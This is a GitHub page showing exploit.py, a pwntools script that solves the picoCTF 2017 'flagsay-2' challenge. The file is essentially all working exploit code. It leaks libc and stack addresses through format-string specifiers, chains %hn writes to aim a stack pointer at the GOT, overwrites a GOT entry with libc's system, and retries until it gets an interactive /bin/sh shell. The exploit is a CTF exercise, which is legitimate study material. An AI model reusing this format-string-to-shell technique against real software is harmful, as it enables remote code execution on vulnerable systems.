-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathexploit.py
129 lines (104 loc) · 3.99 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/python
import sys
import time
import argparse
import traceback
from pwn import *
# setting
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
#--------------------------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Exploit the bins.')
parser.add_argument('--dbg' , '-d', action="store_true")
parser.add_argument('--remote', '-r', action="store_true")
args = parser.parse_args()
libc_path="./libc.so.6"
LIBC_OFFSET = 0x19a63 #remote
while (True):
try:
if args.remote:
r = remote('shell2017.picoctf.com', 18115)
else:
r = process('./flagsay-2', env={"LD_PRELOAD":libc_path})
#r = process('./flagsay-2')
if args.dbg:
gdb.attach(r, """
vmmap
b *main+221
b *vfprintf+14038
""")
# ------------------------------------------------------------------------
libc = ELF(libc_path)
# EG: libc.address = leak_libc_free - libc.symbols['free']
# Known Addresses
BSS_BASE = 0x8049000
GOT_BASE = 0x8049960
GOT_OVERWRITE = 0x8049970
# ------------------------------------------------------------------------
#First Leak a LIBC address
print r.sendline("CAE: "+'%11$p')
r.recvuntil("CAE: 0x")
leak = r.recvuntil('/')[:-1].strip()
libc_base = int(leak,16) - LIBC_OFFSET
print "libc_base = %x " %(libc_base)
libc.address = libc_base
# Grab a stack leak. Need to use this to rewrite existing values on the stack
# to point to other values on the Stack that will then be used to point to the GOT
print r.sendline("CAE: "+'%9$p')
r.recvuntil("CAE: 0x")
leak_stack = int(r.recvuntil('/')[:-1].strip(),16)
print "Stack leak: " + hex(leak_stack)
""" #Debugging and Exploring
print r.sendline("CAE: "+'%p '*32)
print r.sendline("CAE: "+'%8$p')
print r.sendline("CAE: "+'%9$p')
"""
# Grab the lower 16bits, since we can only write 16 bit vaules at a time
valtowrite1 = (leak_stack & 0xFFFF) + 6
print hex(valtowrite1)
# Found a value on the stack to abuse. overwrite its lower 16bits
payload = ''
payload += "%{}c%17$hn".format(int(valtowrite1-0x85))
print r.sendline(payload)
# Break our planned GOT overwrite into 2 16bit values
GOT_ADDR1 = (GOT_OVERWRITE & 0xFFFF)
GOT_ADDR2 = GOT_OVERWRITE >> 16
#Left commented out debug code used to figure out the offsets to subtract
payload = ''
#payload += "%{}c%9$hn".format(int(0x4141-0x81))
payload += "%{}c%9$hn".format(int(GOT_ADDR1-0x81))
print r.sendline(payload)
payload = ''
#payload += "%{}c%53$hn".format(int(0x4242-0x81))
payload += "%{}c%53$hn".format(int(GOT_ADDR2-0x81))
print r.sendline(payload)
# With the two writes above, the GOT address to overwrite is programmed
# into the 16th stack position. Overwrite the lower 16bits of the address and hope
# that the alignment works ok
LIBC_SYSTEM = (libc.symbols['system'] & 0xFFFF)
payload = ''
payload += "%{}c%16$hn".format(int(LIBC_SYSTEM-0x81))
print r.sendline(payload)
# Since libc will be loaded at different addresses each time
# the first 2 bytes (16 bits) of the offset of the chosen GOT pointer
# may not be the same as our chosen system address.
# But eventually it will be, so keep trying
print r.sendline(";/bin/sh;")
print "libc system = %x " %(libc.symbols['system'])
print "written: = %x " %(LIBC_SYSTEM)
r.clean()
print r.sendline("echo SUCCESS")
data = r.recvuntil('\n')
print data
if 'SUCCESS' in data:
break
except Exception:
traceback.print_exc()
print "try again"
print "You should have shell"
r.interactive()